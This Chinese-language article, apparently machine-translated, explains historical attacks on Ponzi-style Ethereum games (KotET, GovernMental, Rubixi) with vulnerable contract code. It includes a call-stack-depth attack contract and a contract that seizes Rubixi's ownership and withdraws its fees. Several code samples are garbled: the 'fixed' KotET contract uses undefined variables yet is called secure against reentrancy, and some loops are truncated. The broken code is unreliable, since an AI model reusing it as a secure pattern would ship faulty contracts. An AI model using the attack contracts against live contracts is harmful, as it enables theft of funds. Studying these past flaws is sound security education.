火爆的区块链游戏确是庞氏骗局，区块链游戏存在哪些潜在危机？如果你在2017年就开始关注以太坊区块链，你应该知道早期的智能合约有庞氏骗局。就好像传统的庞氏骗局，这些游戏的设计是为了能够连续吸引玩家加入，来让这个游戏一直进行下去。虽然这些合约会戛然而止，有些人会发现是因为别的原因导致其结束。本文列举了这类合约可能遭到的攻击。
攻击#1：异常障碍
当攻击者利用合约的漏洞返回一个异常错误的时候，异常障碍攻击就会发生。异常障碍会在合约不能成功调用类似address.send() 或者address.call.value()之类的函数时，自动触发。这个错误本身不会被标出，痴肥合约指导去这样做;异常错误不会自动产生。
攻击示例
2016年2月6日，KotET游戏的智能合约部署完成。KotET游戏中，玩家需要发送给合约一些以太币，从而获得“王位”。只要拿到了王位，玩家就会被加到皇庭，并且永远地被记录在区块链上。更重要地是，后来的国王有权去获得新国王的以太币。随着国外数量增多，成为国王的代价也会越来越贵。如果14天过去了，还没有新的继承者，那么王位就会重置，并且游戏也全部重新开始。这个游戏的理想是新的国外会支付一定的费用，来获得王位，同时有新人来不停地进行游戏，这就导致了“庞氏陷阱”。
代码示例
下面是初始KotET合约的简化版代码。需要注意地是返回函数，这会在玩家将msg.value发送到合约的时候触发。返回函数会首先检查国王是否发出了足够的以太币来获得王位。如果没有，这个需求就会被丢弃，然后代码也会返回。如果有足够的以太币，那么现在的国王就获得足够的弥补(认购价格减去服务费)，并且发出资金的人就会成为新的国王。然后，新的国王价格会计算出来。
contract KotET {
address public king;
uint public claimPrice = 100;
address owner;
//constructor, assigning ownership
constructor() {
owner = msg.sender;
king = msg.sender;
}
//for contract creator to withdraw commission fees
function sweepCommission(uint amount) {
owner.send(amount);
}
//fallback function
function() {
if (msg.value < claimPrice) revert;
uint compensation = calculateCompensation();
king.send(compensation);
king = msg.sender;
claimPrice = calculateNewPrice();
}
}
KotET合约的漏洞在于使用了address.send()，并且在不成功调用的时候，就不能检查异常错误。就像之前讨论的，address.send() and address.transfer()都是受限于2300的燃料费。虽然这对于防止重入攻击很有用，但是gas燃料限制会导致发送资金给国王地址失败，如果国王的合约有退回函数需要花费超过2300的gas燃料费。这就是KotET的情况，支付给国王的钱会发送到以太坊mist“合约钱包”，而不是“合约账户”，这就需要更多的gas燃料来完成转账。最终的结果就是不成功的转账，以太币呗退回到国王的账户中，新的国王无法进行加冕，所以这个合约就会一直卡住。
解决方案
KotET能够用以下2个办法解决问题：
1. 将异常丢弃，那么调用就会恢复- 我们可以通过在函数中添加revert来完成。这会防止合约停止，但是也会需要多余的步骤来启动支付转账。有两种方案，一是让用户自己发出多个支付转账(太中心化)，二是实施批量支付确保付款，直到在“头奖”中没有剩余资金。
2. 使用提现，而不是直接的send调用，合约就可以有结构的，然后玩家就可以让自己的提现失败，而不是合约中剩下的资金。提现算法的唯一不好处，就是这并不是自动化的，需要很多的用户交互。让我们来看看，我们可以如何更新合约，来实施这些变化。
contract KotET {
address public king;
uint public claimPrice = 100;
uint public resolutionFunds
address owner;
mapping (address => uint) creditedFunds;
//constructor, assigning ownership
constructor() {
owner = msg.sender;
king = msg.sender;
}
//for contract creator to withdraw commission fees
function sweepCommission(uint amount) {
owner.send(amount);
}
//for assigning new king and crediting balance
function becomeKing() public payable returns (bool) {
if (msg.value > claimPrice) {
creditedFunds[richest] += msg.value;
king = msg.sender;
return true;
} else {
return false;
}
}
function withdraw() public {
uint amount = creditedFunds[msg.sender];
//zeroing the balance BEFORE sending creditedFunds
//to prevent re-entrancy attacks
pendingWithdrawals[msg.sender] = 0;
msg.sender.transfer(amount);
}
}
现在合约再也不用依赖于退回函数来执行对新的国外进行加冕了，并且可以直接发送资金给下个国王。这个合约现在对于任何的能够攻击合约的回退/重入攻击来说，都是安全的。
攻击#2：调用栈攻击
在EIP150使用之前，以太坊虚拟机的调用栈深度为1024.这也就是说，有人可以在自动使用第1024个调用之前，调用某个合约1023次。攻击者最终会达到第1023次合约，导致接下来的调用失败，并且让他们自身来盗窃合约的资金，并且掌控合约。
攻击示例
和KotET这类旁氏游戏类似，用户会发出以太币给合约，来加入游戏。每轮游戏的赢家可以获得奖池的金额。游戏的规则如下：
• 你必须要发送至少1ETH到合约，然后你会被支付10%的利息。
• 如果“政府”(合约)在12小时内没有收到新的资金，最后的人获得所有的奖池，所有人都会失去资金。
• 发送到合约的以太币分配如下：5%给奖池，5%给合约拥有者，90%根据支付顺序，用来支付给发送资金的人
• 当奖池满了(1万以太币)，95%的资金会发送给支付者。
• 红利：支付者可以使用推荐链接来邀请别人。如果有朋友对这个合约进行支付，那么邀请人可以获得5%，5%会给到合约拥有者，5%会进入奖池，剩下的85%会用来支付利息。
合约的写入，需要保证用户和他们的资金被记录在2个数组，ddress[] public credAddr 和int[] public credAmt。这两个数组会在游戏最后重置。GovernMental已经非常成功了，因为数组变得非常大，需要清除他们的燃料费已经超过每个转账能够做到的极限。最终的结局是奖池的永久性冻结，总共有大约1100个以太坊。最后，在2个月后，资金最后还是解冻了，并且发给了调用者。
GovernMental虽然不是被恶意的用户攻击，但是它也是很好的例子，这类灾难会由调用栈攻击产生。这也表面，在进行大型数据库工作的时候，需要格外的小心。
代码
下面是GovernMental智能合约的完整代码，其中还包含简短的变量。我已经在它的整体中包含了真正的合约，因为通过一行行地检查合约可以学到很多，包含这个合约是如何构建的。有人可以看到function lendGovernmentMoney()，代表了发出资金者的地址，并且需要以太币的数量被重置或者添加到现有数据。需要注意，在同个函数中，资金是如何在合约拥有者以及12个小时结束时的最后发出资金者之间分配的， credAddr[credAddr.length 1].send(profitFromCrash); 以及corruptElite.send(this.balance)。
contract Government {
// Global Variables
uint32 public lastPaid;
uint public lastTimeOfNewCredit;
uint public profitFromCrash;
address[] public credAddr;
uint[] public credit;
address public corruptElite;
mapping (address => uint) buddies;
uint constant TWELVE_HOURS = 43200;
uint8 public round;
// constructor
constructor() {
profitFromCrash = msg.value;
corruptElite = msg.sender;
lastTimeOfNewCredit = block.timestamp;
}
function lendGovernmentMoney(address buddy) returns (bool) {
uint amount = msg.value;
// check if the system already broke down.
// If 12h no new creditor gives new credit to
// the system it will brake down.
// 12h are on average = 60*60*12/12.5 = 3456
if (lastTimeOfNewCredit + TWELVE_HOURS < block.timestamp)
// Return money to sender
msg.sender.send(amount);
// Sends all contract money to the last creditor
credAddr[credAddr.length - 1].send(profitFromCrash);
corruptElite.send(this.balance);
// Reset contract state
lastPaid = 0;
lastTimeOfNewCredit = block.timestamp;
profitFromCrash = 0;
// this is where the arrays are cleared
credAddr = new address[](0);
credAmt = new uint[](0);
round += 1;
return false;
}
else {
// the system needs to collect at
// least 1% of the profit from a crash to stay alive
if (amount >= 10 ** 18) {
// the System has received fresh money,
// it will survive at leat 12h more
lastTimeOfNewCredit = block.timestamp;
// register the new creditor and his
// amount with 10% interest rate
credAddr.push(msg.sender);
credAmt.push(amount * 110 / 100);
// now the money is distributed
// first the corrupt elite grabs 5% — thieves!
corruptElite.send(amount * 5/100);
// 5% are going into the economy (they will increase
// the value for the person seeing the crash coming)
if (profitFromCrash < 10000 * 10**18)
profitFromCrash += amount * 5/100;
}
// if you have a buddy in the government (and he is
// in the creditor list) he can get 5% of your
// credits. Make a deal with him.
if(buddies[buddy] >= amount) {
buddy.send(amount * 5/100);
}
buddies[msg.sender] += amount * 110 / 100;
// 90% of money used to pay out old creditors
if (credAmt[lastPaid] <= address(this).balance — profitFromCrash){
credAddr[lastPaid].send(credAmt[lastPaid]);
buddies[credAddr[lastPaid]] -= credAmt[lastPaid];
lastPaid += 1;
}
return true;
}
else {
msg.sender.send(amount);
return false;
}
}
}
// fallback function
function() {
lendGovernmentMoney(0);
}
function totalDebt() returns (uint debt) {
for(uint i=lastPaid; i
debt += credAmt[i];
}
}
function totalPayedOut() returns (uint payout) {
for(uint i=0; i
payout += credAmt[i];
}
}
// donate funds to "the government"
function investInTheSystem() {
profitFromCrash += msg.value;
}
// From time to time the corrupt elite
// inherits it’s power to the next generation
function inheritToNextGeneration(address nextGeneration) {
if (msg.sender == corruptElite) {
corruptElite = nextGeneration;
}
}
function getCreditorAddresses() returns (address[]) {
return credAddr;
}
function getCreditorAmounts() returns (uint[]) {
return credAmt;
}
}
我们假设攻击者写了如下的合约，进行恶意攻击contract Government {}。
contract attackGov {
function attackGov (address target, uint count) {
if (0<= count && count<1023) {
this.attackGov.gas(gasleft() - 2000)(target, count+1);
}
else {
attackGov(target).lendGovernmentMoney;
}
}
攻击者调用了contract attackGov{} 函数，来进行调用直到栈的大小为1023.当栈达到1022.lendGovernmentMoney()函数就会在第1023个栈上执行。因为第1024个调用已经失败了，并且 send() 函数不会检查返回的代码，合约的credAddr[credAddr.length — 1].send(profitFromCrash)代码也会失效。合约之后就会重置，而且下一轮已经可以开始。因为支付失败了，合约现在就会从最后一轮中获得奖池，在下轮结束后，合约拥有者就会获得全部的资金，corruptElite.send(this.balance)。
解决方案
那么我们怎么才能避免全栈攻击呢?很幸运地是，EIP150标准进行了更新，使得栈调用的深度达到1024是几乎不可能的事情。规则中写到，子调用不能花费主调用的63/64燃料费用。为了达到接近栈调用的极限，攻击者需要花费难以想象地费用，所以很少有人会这么做。
另个方面，对于大量数据的处理方法包含：
• 写合约的时候，要在多个转账中分散数据清理工作，而不是集中在某个，或者
• 通过让用户能够独立处理数据集的方式来写入合约。
攻击#3- 不可更改的管理器缺陷
什么使得智能合约这么特别?他们是不可更改的。什么造就了智能合约的噩梦?他们是不可更改的。现在，很遗憾的结论是，当在写智能合约时，很多时候会出现错误。在激活合约之前，对整体的函数，参数和合约结构进行审核，是非常必要的。
如果在以太坊历史上，有智能合约是因为整体架构出问题，而最终失败的，毫无疑问就是Rubixi。Rubixi是另一个旁氏游戏，其中玩家需要发送以太币到合约中，并且可以获得更多的以太币。但是，在Rubixi开发的过程中，拥有者随意更改了合约名称，但是并没有检车任何的不一致性。毋庸置疑，Rubixi远不能称为“成功”。
攻击示例
由于Solidity v0.4.24算法，合约的管理器功能是construct()。但是，在Rubixi合约创建的时候，管理器功能被以太坊虚拟机和合约共享了同个名字。Rubixi的问题在于当合约中部署了管理器的名称为function DynamicPyramid() ，而不是function Rubixi(),，这就意味着Rubixi最初的名字叫“DynamicPyramid”。由于这个不一致性，合约在创建的时候，并没有指定拥有者，所以城堡的钥匙被抢走了。任何人都能够定义他们自己为合约的拥有者，然后获得参与者加入的合约费用。
代码示例
如果我们把合约代码的前几行拿出来，你就会发现合约名称和指定管理器函数的区别。
contract Rubixi {
//Declare variables for storage critical to contract
uint private balance = 0;
uint private collectedFees = 0;
uint private feePercent = 10;
uint private pyramidMultiplier = 300;
uint private payoutOrder = 0;
address private creator;
//Sets creator
function DynamicPyramid() {
creator = msg.sender;
}
现在你应该明白了，攻击者需要做的，就是创建合约的名字为function DynamicPyramid(), 然后获得拥有权。然后，攻击者可以调用function collectAllFees()，然后提现。虽然这个攻击已经非常直接了，Rubixi是个很好的例子，告诉我们一定要彻底地检查合约。
contract extractRubixi {
address owner;
Rubixi r = Rubixi(0xe82...);
constructor() public {
owner=msg.sender;
}
function setAndGrab() public {
r.DynamicPyramid();
r.collectAllFees();
}
}
解决方案
很幸运地是，Solidity语言已经更新了，以至于管理器功能被定义为constructor() ，而不是contractName()。我们可以从中学到的是，多次检查我们的合约代码，并且保证你在整个开发过程中，保持一致性。没有什么比部署一个无法改变的合约，但是发现其中有问题，更糟糕了。
以上就是火爆的区块链游戏确是庞氏骗局，区块链游戏存在哪些潜在危机?的详细介绍，庞氏区块链游戏或许已经是过去的事情，但是George Santayana曾经说过，“那些不能从历史中学到教训的人，还会重复错误。”通过从KotET, GovernMental和Rubixi这类错误中学习，我们可以防止自己在错误的道路上越走越远。
